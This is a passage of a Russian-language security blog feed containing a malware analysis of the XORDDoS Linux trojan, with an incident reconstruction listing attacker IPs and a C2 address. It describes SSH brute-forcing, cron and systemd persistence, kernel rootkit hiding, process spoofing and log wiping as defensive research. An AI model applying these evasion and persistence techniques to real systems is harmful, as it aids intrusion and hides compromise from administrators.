<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Notes from /dev/null</title><subtitle>Личный канал увлечённого иследователя в области информационной безопасности.</subtitle><author><name>Notes from /dev/null</name></author><id>https://teletype.in/atom/none_notes</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/none_notes?offset=0"></link><link rel="alternate" type="text/html" href="https://blog.nonedev.tech/?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=none_notes"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/none_notes?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-06-10T07:06:06.711Z</updated><entry><id>none_notes:xorddos</id><link rel="alternate" type="text/html" href="https://blog.nonedev.tech/xorddos?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=none_notes"></link><title>XORDDoS: Анатомия угрозы для Linux-инфраструктур</title><published>2026-05-30T23:02:34.923Z</published><updated>2026-06-03T16:33:58.699Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/6d/1e/6d1e0d6f-65c1-4134-8dc3-a1126ade86ee.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/85/30/8530cf69-fa5a-44a2-bad5-6935b50f4154.png&quot;&gt;Исследовательская группа MalwareMustDie зафиксировала XORDDoS в сентябре 2014 года — и с тех пор этот троян так и не утратил своей актуальности. Название отражает двойственную природу вредоноса: XOR — криптографический примитив, лежащий в основе всей его внутренней логики, DDoS — конечная цель операторов. По своей сути это многоплатформенный Linux-троян с руткитом уровня ядра, спроектированный для формирования ботнетов и организации разрушительных распределённых атак типа «отказ в обслуживании».</summary><content type="html">
  &lt;figure id=&quot;6kKK&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/85/30/8530cf69-fa5a-44a2-bad5-6935b50f4154.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;XHEB&quot;&gt;Происхождение и контекст угрозы&lt;/h2&gt;
  &lt;p id=&quot;1XzV&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;VuDT&quot;&gt;Исследовательская группа MalwareMustDie зафиксировала XORDDoS в сентябре 2014 года — и с тех пор этот троян так и не утратил своей актуальности. Название отражает двойственную природу вредоноса: &lt;code&gt;XOR&lt;/code&gt; — криптографический примитив, лежащий в основе всей его внутренней логики, &lt;code&gt;DDoS&lt;/code&gt; — конечная цель операторов. По своей сути это многоплатформенный Linux-троян с руткитом уровня ядра, спроектированный для формирования ботнетов и организации разрушительных распределённых атак типа «отказ в обслуживании».&lt;/p&gt;
  &lt;p id=&quot;bAvR&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;G0Ho&quot;&gt;&lt;strong&gt;Почему Linux, а не Windows?&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;IHVy&quot;&gt;Linux формирует основу современной облачной инфраструктуры, корпоративных веб-сервисов и колоссального парка устройств IoT. Эти системы исторически администрируются менее строго, чем рабочие станции: SSH часто открыт наружу, пароли не ротируются, обновления выходят с опозданием. Злоумышленники получают не рабочие станции с ограниченными ресурсами, а мощные серверы или тысячи IoT-узлов для генерации колоссальных объёмов мусорного трафика.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;KTV6&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;mYp9&quot;&gt;Тревожная деталь: по данным Microsoft, за шесть месяцев активность XORDDoS возросла на &lt;strong&gt;254%&lt;/strong&gt;. Вредонос не просто выживает — он эволюционирует. Авторы внедряют полиморфизм для обхода сигнатурных анализаторов, совершенствуют антифорензику и расширяют векторы заражения с SSH-брутфорса до атак на открытые API Docker. XORDDoS всё чаще служит первичным вектором для развёртывания Tsunami-бэкдора и скрытых криптомайнеров XMRig, превращая скомпрометированный сервер в многофункциональный инструмент монетизации.&lt;/p&gt;
  &lt;p id=&quot;QTri&quot;&gt;Архитектура трояна обеспечивает его работу на процессорах &lt;strong&gt;x86 (32-бит), x64 (64-бит) и ARM&lt;/strong&gt;, что даёт операторам ботнета универсальный охват: от высокопроизводительных облачных серверов до маломощных сетевых хранилищ и маршрутизаторов.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;LGjt&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;tKYs&quot;&gt;XOR как системообразующий примитив&lt;/h2&gt;
  &lt;p id=&quot;7he1&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;BBTw&quot;&gt;Побитовая операция XOR (исключающее ИЛИ) выбрана авторами не случайно: она обратима, вычислительно дешева и достаточна для обхода большинства средств статического анализа. Жёстко закодированный ключ:&lt;/p&gt;
  &lt;pre id=&quot;noXp&quot;&gt;BB2FA36AAA9541F0&lt;/pre&gt;
  &lt;p id=&quot;etXJ&quot;&gt;применяется в трёх критически важных контекстах.&lt;/p&gt;
  &lt;p id=&quot;Jyjd&quot;&gt;&lt;strong&gt;Обфускация кода и конфигурации.&lt;/strong&gt; Все внутренние строки трояна — доменные имена C2-серверов, конфигурационные параметры, списки целей — хранятся в зашифрованном виде прямо в бинарном файле. Расшифровка происходит исключительно в оперативной памяти в момент выполнения. Статический анализатор или антивирус, сканирующий файл на диске, не найдёт ни одной читаемой строки, указывающей на вредоносную природу объекта.&lt;/p&gt;
  &lt;p id=&quot;v4HP&quot;&gt;&lt;strong&gt;Телеметрия и идентификация бота.&lt;/strong&gt; При первом запуске троян генерирует (или считывает из &lt;code&gt;/var/run/gcc.pid&lt;/code&gt; и &lt;code&gt;/var/run/sftp.pid&lt;/code&gt;) уникальную 32-байтную «магическую строку» — идентификатор устройства в ботнете. Затем собирается системная телеметрия: версия ОС, версия вредоноса, статус руткита, объём RAM, данные о CPU, скорость сетевого интерфейса. Перед отправкой вычисляется CRC для контроля целостности, после чего весь пакет шифруется ключом XOR.&lt;/p&gt;
  &lt;p id=&quot;mPBP&quot;&gt;&lt;strong&gt;Двусторонний C2-канал.&lt;/strong&gt; Весь трафик между ботом и командным сервером защищён тем же XOR-ключом. Сервер присылает зашифрованные пакеты команд с заголовком размером &lt;code&gt;0x1C&lt;/code&gt; байт; бот расшифровывает их в памяти и исполняет.&lt;/p&gt;
  &lt;p id=&quot;R70g&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;X3JK&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/04/b1/04b1a47e-e6c0-4611-bae6-826b2896ba68.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;FETr&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;EhJz&quot;&gt;Вектор проникновения: SSH-брутфорс&lt;/h2&gt;
  &lt;p id=&quot;u7UL&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;qGEN&quot;&gt;Основной сценарий компрометации строится на атаке методом перебора паролей (brute force) по протоколу SSH. Выбор вектора обусловлен тем, что SSH используется повсеместно для удалённого администрирования, а порт 22 на огромном количестве серверов открыт без каких-либо ограничений доступа.&lt;/p&gt;
  &lt;p id=&quot;Tmyt&quot;&gt;Операция разворачивается поэтапно. Сначала автоматизированные сканеры прощупывают сетевые диапазоны в поисках серверов с доступным извне портом 22. Перед непосредственным перебором паролей атакующие нередко отправляют HTTP-запросы для выявления уязвимостей обхода директорий (directory traversal). Эксплуатируя такую уязвимость, они читают &lt;code&gt;/etc/passwd&lt;/code&gt; — не для получения паролей (они хранятся в shadow-файлах), а для извлечения реального списка имён пользователей. Точные логины резко повышают эффективность последующего брутфорса.&lt;/p&gt;
  &lt;p id=&quot;N0E5&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;OwbX&quot;&gt;&lt;strong&gt;Масштаб атаки по цифрам&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;r7Zy&quot;&gt;В ходе задокументированных кампаний XORDDoS исследователи фиксировали &lt;strong&gt;свыше 20 000 попыток аутентификации на один сервер за первые 24 часа&lt;/strong&gt;. Атака ведётся с десятков IP-адресов параллельно, что дополнительно усложняет блокировку.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;rc0l&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;i7jE&quot;&gt;После успешного подбора учётных данных (чаще всего скомпрометированного аккаунта &lt;code&gt;root&lt;/code&gt; или пользователя с правами &lt;code&gt;sudo&lt;/code&gt;) злоумышленники выполняют удалённый bash-скрипт. Скрипт скачивает основную полезную нагрузку XORDDoS из удалённого источника, распаковывает и запускает её — и с этого момента сервер становится полноправным узлом ботнета.&lt;/p&gt;
  &lt;p id=&quot;QkT0&quot;&gt;Ключевая причина успеха атаки — не техническая изощрённость, а человеческий фактор: слабые или дефолтные пароли для привилегированных аккаунтов в сочетании с отсутствием элементарных мер защиты SSH.&lt;/p&gt;
  &lt;p id=&quot;Edin&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;yMQ6&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/40/64/4064311c-9d9c-41f3-b713-18c917f8921c.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;ccB7&quot;&gt;Закрепление: многоуровневая персистентность&lt;/h2&gt;
  &lt;p id=&quot;PgMY&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;pP1m&quot;&gt;После первичного заражения XORDDoS немедленно интегрируется в три независимых механизма автозапуска. Каждый из них является резервным для остальных — удаление одного не устраняет угрозу.&lt;/p&gt;
  &lt;p id=&quot;gO7p&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;B4uz&quot;&gt;System V Init (runlevels)&lt;/h3&gt;
  &lt;p id=&quot;QsNq&quot;&gt;Троян копирует своё тело в &lt;code&gt;/etc/init.d/&lt;/code&gt; под случайным именем из 10 символов, затем создаёт символьные ссылки вида &lt;code&gt;S90[случайные_цифры]&lt;/code&gt; в директориях &lt;code&gt;/etc/rc1.d/&lt;/code&gt; — &lt;code&gt;/etc/rc5.d/&lt;/code&gt; и &lt;code&gt;/etc/rc.d/rc1.d/&lt;/code&gt;. Для легитимной регистрации в системе загрузки вызываются штатные утилиты:&lt;/p&gt;
  &lt;p id=&quot;TI8F&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;9bFj&quot;&gt;chkconfig --add [имя_службы]
update-rc.d [имя_службы] defaults&lt;/pre&gt;
  &lt;p id=&quot;EOPx&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;sYYN&quot;&gt;Cron — сторожевой процесс&lt;/h3&gt;
  &lt;p id=&quot;tCNp&quot;&gt;В &lt;code&gt;/etc/cron.hourly/&lt;/code&gt; создаётся bash-скрипт (&lt;code&gt;gcc.sh&lt;/code&gt;, &lt;code&gt;cqqbnzzu.sh&lt;/code&gt;, &lt;code&gt;obidhyb.sh&lt;/code&gt; — имена варьируются от кампании к кампании). В &lt;code&gt;/etc/crontab&lt;/code&gt; добавляется правило запуска этого скрипта &lt;strong&gt;каждые 3 минуты&lt;/strong&gt;. Скрипт выполняет роль watchdog: проверяет наличие основного тела трояна (обычно укрытого по пути &lt;code&gt;/lib/libudev.so&lt;/code&gt;) и при его отсутствии немедленно скачивает и запускает копию. Именно поэтому простое удаление файла или завершение процесса через &lt;code&gt;kill -9&lt;/code&gt; не даёт никакого эффекта: через 3 минуты троян возвращается.&lt;/p&gt;
  &lt;p id=&quot;ws9O&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;u28u&quot;&gt;Systemd (современные версии)&lt;/h3&gt;
  &lt;p id=&quot;2alN&quot;&gt;В актуальных модификациях XORDDoS регистрирует пользовательскую службу с директивой &lt;code&gt;Restart=always&lt;/code&gt;. Операционная система автоматически перезапускает процесс при любой попытке его остановить, делая команды &lt;code&gt;systemctl stop&lt;/code&gt; и &lt;code&gt;systemctl kill&lt;/code&gt; бесполезными.&lt;/p&gt;
  &lt;p id=&quot;TjQ3&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;rURJ&quot;&gt;&lt;strong&gt;Практический вывод&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;RC2a&quot;&gt;Наличие трёх независимых механизмов персистентности означает, что очистка системы требует их &lt;strong&gt;одновременного&lt;/strong&gt; нейтрализации в строгой последовательности. Подробный алгоритм — в разделе «Обнаружение и реагирование».&lt;/p&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;p0AR&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;fKMN&quot;&gt;Маскировка: арсенал антианалитических техник&lt;/h2&gt;
  &lt;p id=&quot;b0XS&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;MhNN&quot;&gt;Высокая выживаемость XORDDoS обеспечивается не только механизмами закрепления, но и развитым набором техник уклонения от обнаружения, охватывающим все уровни системы — от ядра до лог-файлов.&lt;/p&gt;
  &lt;p id=&quot;WY5L&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;TK3Q&quot;&gt;LKM-руткит (ring 0)&lt;/h3&gt;
  &lt;p id=&quot;J0pU&quot;&gt;Наиболее технически опасный компонент — загружаемый модуль ядра (Loadable Kernel Module), функционирующий на уровне ring 0. Руткит исключает себя из системных списков ядра (утилита &lt;code&gt;lsmod&lt;/code&gt; его не видит) и перехватывает системные вызовы через манипуляцию &lt;code&gt;sys_call_table&lt;/code&gt;. Фильтрация вывода &lt;code&gt;/proc&lt;/code&gt; позволяет скрыть вредоносные процессы, а перехват функций &lt;code&gt;tcp4_seq_show()&lt;/code&gt; и &lt;code&gt;tcp6_seq_show()&lt;/code&gt; делает невидимыми для &lt;code&gt;netstat&lt;/code&gt; все активные сетевые соединения трояна. Взаимодействие основного процесса с руткитом осуществляется через системный вызов &lt;code&gt;ioctl&lt;/code&gt; с идентификатором &lt;code&gt;0x9748712&lt;/code&gt; через символьное устройство &lt;code&gt;/proc/rs_dev&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;TBF7&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;G5DH&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1f/61/1f61762d-ed26-46fa-8d02-c8abab2e1df2.png&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TQNG&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;Jjsu&quot;&gt;Спуфинг имён процессов&lt;/h3&gt;
  &lt;p id=&quot;Gpvp&quot;&gt;XORDDoS динамически перезаписывает аргументы командной строки в оперативной памяти, обнуляя буферы и замещая свой истинный путь именем легитимной команды. Администратор, запустивший &lt;code&gt;ps -aef&lt;/code&gt; или &lt;code&gt;top&lt;/code&gt;, увидит вместо вредоносного процесса что-то вроде:&lt;/p&gt;
  &lt;pre id=&quot;3JmO&quot;&gt;cat resolv.conf
netstat -an
bash
pwd
gnome-terminal&lt;/pre&gt;
  &lt;p id=&quot;Xu6G&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;c45m&quot;&gt;Демонизация и разрыв дерева процессов&lt;/h3&gt;
  &lt;p id=&quot;gLoG&quot;&gt;Чтобы оборвать связь с сессией, через которую произошло проникновение, троян выполняет двойной &lt;code&gt;fork()&lt;/code&gt; с последующим &lt;code&gt;setsid()&lt;/code&gt;. Родительские процессы завершаются, вредоносный процесс «усыновляется» &lt;code&gt;init&lt;/code&gt; — и отследить цепочку его происхождения стандартными средствами уже невозможно.&lt;/p&gt;
  &lt;p id=&quot;KaSO&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;Q6f6&quot;&gt;Антифорензика: уничтожение улик&lt;/h3&gt;
  &lt;p id=&quot;Q7id&quot;&gt;Сразу после захвата системы XORDDoS перезаписывает нулевым байтом или символом новой строки ключевые журналы:&lt;/p&gt;
  &lt;ul id=&quot;m95R&quot;&gt;
    &lt;li id=&quot;i6uY&quot;&gt;&lt;code&gt;/var/log/wtmp&lt;/code&gt; — история входов в систему&lt;/li&gt;
    &lt;li id=&quot;YEQD&quot;&gt;&lt;code&gt;/var/log/secure&lt;/code&gt; — журнал аутентификации&lt;/li&gt;
    &lt;li id=&quot;FZ1l&quot;&gt;&lt;code&gt;/root/.bash_history&lt;/code&gt; — история команд суперпользователя&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;menl&quot;&gt;Первоначальный дроппер нередко разворачивается в &lt;code&gt;/dev/shm&lt;/code&gt; — виртуальной директории в RAM, которая полностью очищается при перезагрузке.&lt;/p&gt;
  &lt;p id=&quot;uijw&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;3kkZ&quot;&gt;Полиморфизм: 26 000 уникальных копий&lt;/h3&gt;
  &lt;p id=&quot;h9XH&quot;&gt;Для обхода сигнатурных детекторов, опирающихся на хэш-суммы файлов, XORDDoS генерирует случайную строку из 10 символов и дописывает её (вместе с нулевым байтом) в конец своего бинарника. Это немедленно меняет MD5/SHA-256 хэш, не нарушая работоспособности кода. В рамках одной кампании таким образом было сгенерировано &lt;strong&gt;свыше 26 000 уникальных образцов&lt;/strong&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;G5oV&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;0yBe&quot;&gt;Практический кейс: разбор заражения по системным логам&lt;/h2&gt;
  &lt;p id=&quot;FIx6&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Lip2&quot;&gt;Нижеследующее — реконструкция реального инцидента по данным первичного расследования, проведённого мной. Временная точка отсчёта установлена по syslog: &lt;strong&gt;2026-05-30T13:58:30&lt;/strong&gt; (время сервера).&lt;/p&gt;
  &lt;p id=&quot;e7dF&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;tEfx&quot;&gt;Фаза 1 — Брутфорс SSH&lt;/h3&gt;
  &lt;p id=&quot;MfEE&quot;&gt;Именно с указанного timestamp в журналах зафиксированы массовые попытки аутентификации под различными именами пользователей. Атака велась с &lt;strong&gt;19 IP-адресов&lt;/strong&gt; одновременно.&lt;/p&gt;
  &lt;p id=&quot;qxYN&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;NzJb&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b9/45/b945c9fb-44a3-4d8c-8445-c3580f6e7dee.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IzB6&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;YRB1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/6c/966c4e18-8316-4dd1-9ae2-e2eb46817dcb.png&quot; width=&quot;753&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4JHI&quot;&gt;Все 19 адресов атакующих были проверены на VirusTotal и признаны причастными к ранее задокументированным вредоносным кампаниям, в том числе к SSH-брутфорсу:&lt;/p&gt;
  &lt;p id=&quot;z2Ap&quot;&gt;&lt;/p&gt;
  &lt;ul id=&quot;YQR5&quot;&gt;
    &lt;li id=&quot;hdQ1&quot;&gt;42.96.19.37 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/42.96.19.37&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;paGI&quot;&gt;102.211.152.138 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/102.211.152.138&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;beWd&quot;&gt;207.180.229.239 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/207.180.229.239&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;se7o&quot;&gt;185.156.73.233 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/185.156.73.233&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;vYI9&quot;&gt;69.5.7.218 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/69.5.7.218&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;rf89&quot;&gt;103.215.80.173 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/103.215.80.173&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;wcBl&quot;&gt;27.79.6.236 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/27.79.6.236&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;V5Ee&quot;&gt;31.173.8.170 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/31.173.8.170&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;nefd&quot;&gt;45.178.70.3 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/45.178.70.3&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;UjnF&quot;&gt;47.103.157.194 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/47.103.157.194&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;Icwy&quot;&gt;60.249.251.88 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/60.249.251.88&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;JP1x&quot;&gt;61.169.54.150 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/61.169.54.150&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;uevE&quot;&gt;80.94.95.115 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/80.94.95.115&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;ktMl&quot;&gt;91.219.196.17 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/91.219.196.17&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;XkK3&quot;&gt;93.118.137.48 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/93.118.137.48&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;l3ql&quot;&gt;103.158.138.179 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/103.158.138.179&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;3RCc&quot;&gt;116.48.143.166 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/116.48.143.166&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;EBqv&quot;&gt;116.92.229.174 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/116.92.229.174&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;ul id=&quot;3F2n&quot;&gt;
    &lt;li id=&quot;Xf2e&quot;&gt;190.12.109.162 &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/190.12.109.162&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;HdiJ&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;4erE&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d5/b3/d5b31357-8ca1-41c0-aba5-351f0856ff6f.png&quot; width=&quot;1841&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;uhm3&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/26/52/26522b05-31f1-452f-8f6d-34e008078653.png&quot; width=&quot;1861&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;I6lm&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;zOxe&quot;&gt;Фаза 2 — Компрометация и установка полезной нагрузки&lt;/h3&gt;
  &lt;p id=&quot;6pmM&quot;&gt;Точный IP-адрес, с которого была успешно подобрана пара логин/пароль, по имеющимся логам установить не удалось — что само по себе является артефактом антифорензики (перезапись auth-логов). Тем не менее сценарий однозначен: пароль был подобран, после чего сервер был включён в ботнет XORDDoS.&lt;/p&gt;
  &lt;p id=&quot;ek8B&quot;&gt;Атрибуцию к конкретному семейству вредоносов подтверждают два независимых факта. Первый — сценарий атаки идентичен задокументированному паттерну XORDDoS (описание SecureLab):&lt;/p&gt;
  &lt;p id=&quot;BNLr&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;WC1U&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9d/06/9d06c0cb-64c8-4973-b9f5-0f46d6d9e997.png&quot; width=&quot;1904&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fo8w&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;18nw&quot;&gt;Второй — вредонос установил соединение с литовским IP-адресом &lt;code&gt;141.98.10.115&lt;/code&gt;, задокументированным как C2-инфраструктура именно данного семейства:&lt;/p&gt;
  &lt;p id=&quot;EcdT&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;iI7w&quot;&gt;141.98.10.115 - &lt;a href=&quot;https://www.virustotal.com/gui/ip-address/141.98.10.115&quot; target=&quot;_blank&quot;&gt;Проверить&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;cGx5&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;wCZI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/58/32/5832f046-68b8-4470-83fa-e2b1f931e0c5.png&quot; width=&quot;950&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;5D4R&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2d/93/2d939d4b-aa6d-4936-8822-62bb8182f0e0.png&quot; width=&quot;1001&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yXZk&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;Taxb&quot;&gt;Фаза 3 — Закрепление: что было найдено в системе&lt;/h3&gt;
  &lt;p id=&quot;FrJC&quot;&gt;Я обнаружил два активных Cron-задания, обеспечивавших персистентность.&lt;/p&gt;
  &lt;p id=&quot;iWmO&quot;&gt;&lt;strong&gt;Задание 1 — &lt;code&gt;w.sh&lt;/code&gt;&lt;/strong&gt; выполнялось при каждой перезагрузке из &lt;code&gt;crontab&lt;/code&gt; пользователя &lt;code&gt;root&lt;/code&gt;. По своей роли это оркестратор ботнета: он запускал модуль SSH-брутфорса других серверов (на это указывают аргументы &lt;code&gt;ssh 2 ranges&lt;/code&gt; в теле строки).&lt;/p&gt;
  &lt;p id=&quot;amKm&quot;&gt;&lt;strong&gt;Задание 2 — &lt;code&gt;gcc.sh&lt;/code&gt;&lt;/strong&gt; — файл с намеренно вводящим в заблуждение именем, имитирующим утилиту компилятора. Фактически это генератор бинарных полезных нагрузок — тех самых исполняемых файлов с нечитаемыми именами («кракозябры»).&lt;/p&gt;
  &lt;p id=&quot;Qt3Y&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;4kFF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/56/ae/56ae3047-ebec-4fc9-9422-98b56e09048d.png&quot; width=&quot;761&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;qPEc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/66/7d/667d1eee-c293-4e58-a934-fcd9c823e0d4.png&quot; width=&quot;948&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VNNO&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;nulV&quot;&gt;Каждый из сгенерированных бинарников сопровождался регистрацией системного сервиса с явно выраженной маскировкой: поле &lt;code&gt;cmdline&lt;/code&gt; процесса отображало &lt;code&gt;rpc.statd&lt;/code&gt; — легитимный демон службы статуса NFS, — хотя реальной связи с ним не было. Сервис был зарегистрирован в init-скриптах с параметрами, игнорирующими команды &lt;code&gt;stop&lt;/code&gt;, &lt;code&gt;restart&lt;/code&gt; и аналогичные: попытка остановить его через &lt;code&gt;systemctl stop [имя]&lt;/code&gt; завершалась без какого-либо эффекта.&lt;/p&gt;
  &lt;p id=&quot;u1F2&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;4xnX&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/32/e8/32e8c513-bd57-4fb8-bb19-24e8f0a84c30.png&quot; width=&quot;960&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;MO4Y&quot; class=&quot;m_column&quot;&gt;
